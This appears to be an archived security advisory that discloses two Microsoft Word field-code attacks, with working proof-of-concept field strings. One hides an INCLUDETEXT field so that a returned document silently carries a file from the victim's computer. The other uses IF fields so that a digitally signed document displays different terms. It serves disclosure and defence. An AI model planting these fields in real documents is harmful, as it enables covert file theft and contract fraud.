COMMAND

	
		Microsoft Word document turned into spying tool with embeded fields  (no
		macro)
	
	

SYSTEMS AFFECTED

	
		All releases probably
	
	

PROBLEM

	
		Alex Gantman [agantman@qualcomm.com] found :
		

		I have stumbled onto a couple  potential  security  issue  in  Microsoft
		Word. In both cases the adversary (mis)uses  fields  to  perpetrate  the
		attack. It's important to note that fields are not macros  and,  as  far
		as I know, cannot be disabled by  the  user.  I  am  providing  a  basic
		description along with a proof-of-concept  demo.  I  am  fairly  certain
		that someone  with  free  time  and  imagination  can  expand  on  these
		principles, possibly applying them to other products.
		

		Following tradition I'll use Alice and Bob as the two parties  involved.
		Alice will be the adversary.
		

		 1) Document collaboration spyware.

		

		Attack Basics: Alice sends Bob a Word document for revisions. After  Bob
		edits, saves, and mails it back to Alice  the  file  will  also  include
		contents  of  another  file(s)  from  Bob's  computer  that  Alice   has
		specified a priori. To achieve this, Alice embeds the INCLUDETEXT  field
		into the document. The field results in inclusion of  a  specified  file
		into the current document. Of course, Alice must be careful  include  it
		in such a way that it does not become apparent to Bob. Alice can do  all
		the usual things like hidden text, small white font, etc.  Alternatively
		(and in my opinion cleaner, she can embed the INCLUDETEXT  field  within
		a dummy IF field that always returns an empty string. In this case,  the
		only way Bob can notice  the  included  file  is  if  he  goes  browsing
		through field codes.
		

		Attack Improvements: The disadvantage of the basic attack is that  Alice
		must rely on Bob to update the INCLUDETEXT field to import the file.  If
		the document is large and contains tables  of  contents,  figures,  etc.
		then Bob is very likely to update all the fields. However,  Alice  would
		like to make sure that the field gets updated regardless of whether  Bob
		does it manually or not. Automatic updates  can  be  forced  if  a  DATE
		field is embedded into the INCLUDETEXT and it is the last date field  in
		the document (don't ask me why).
		

		Proof of concept: Inserting  the  following  field  structure  into  the
		footer of the last page will  steal  the  contents  of  c:a.txt  on  the
		target's computer. Keep in  mind  the  plain  curly  braces  below  must
		actually be replaced with Word field braces  (you  can  either  use  the
		menus to insert fields one by one, or ask google how to do it by hand).
		 

		{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" }  * MERGEFORMAT  } = "" "" * MERGEFORMAT }

		

		Countermeasures: The only thing you can do now is  decide  how  paranoid
		you want to be. If you must edit and send out a Word file  with  unknown
		origins, you may want to manually go through the  fields.  It  would  be
		nice to be able to force user confirmation (via a dialog  box)  for  all
		includes. Alternatively one could write a scanner. Of course an  optional
		standalone checker will never be used by those most at risk.
		

		 2) Oblivious signing

		

		Attack Basics: Alice and Bob wants to sign a contract saying that  Alice
		will pay Bob $100. Alice types  it  up  as  a  Word  document  and  both
		digitally sign it. In a few days Bob  comes  to  Alice  to  collect  his
		money. To his surprise, Alice presents him with  a  Word  document  that
		states he owes her $100. Alice also has a valid signature from  Bob  for
		the new document. In fact, it is the exact same  signature  as  for  the
		contract Bob remembers signing and, to Bob's great  amazement,  the  two
		Word documents are actually identical in hex. What Alice did was  insert
		an IF field  that  branched  on  an  external  input  such  as  date  or
		filename. Thus even though the sign  contents  remained  the  same,  the
		displayed contents changed because  they  were  partially  dependent  on
		unsigned inputs. The basic point is that very few users know the  actual
		contents of their Word documents and  it  should  be  obvious  that  one
		should never sign what one cannot read. Of  course,  Bob  could  contest
		the contract in court. An expert witness  (that's  actually  an  expert)
		could easily demonstrate that there are unsigned  inputs  and  therefore
		it is not clear which version was actually signed. Thus Bob can get  out
		of the fraudulent contract. However, the same logic will hold for  Alice
		and she gets away without paying Bob  $100  she  signed  for.  Thus,  an
		adversary can build in a  free  escape  clause.  Note  that  I  am  just
		speculating about all the legal aspects.
		

		Proof of concept: Inserting the following field structure  at  the  tail
		of the document will cause "Hello" to be displayed if  the  filename  is
		"a.doc" and "Bye" otherwise.
		 

		{ IF { FILENAME  * MERGEFORMAT { DATE } } = "a.doc" "Hello" "Bye" * MERGEFORMAT }

		

		

		

		 Update (28 August 2002)

		 ======

		

		K. Kain, S.W.  Smith  and  R.  Asokan  have  written  a  research  paper
		entitled "Digital Signatures  and  Electronic  Documents:  A  Cautionary
		Tale." for the Sixth IFIP Conference on  Communications  and  Multimedia
		Security :
		

		http://www.cs.dartmouth.edu/~sws/papers/cms02.pdf

		
	
	

SOLUTION